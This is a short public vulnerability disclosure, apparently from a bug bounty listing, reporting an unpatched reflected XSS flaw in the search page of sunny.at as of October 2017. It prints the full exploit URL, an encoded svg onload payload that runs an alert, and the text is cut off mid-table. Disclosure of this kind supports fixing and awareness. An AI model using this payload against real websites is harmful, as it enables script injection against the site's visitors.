sunny.at XSS vulnerability

Vulnerable URL: http://www.sunny.at/suche?fulltext=%22%3E%27%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E=Neue+Suche Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...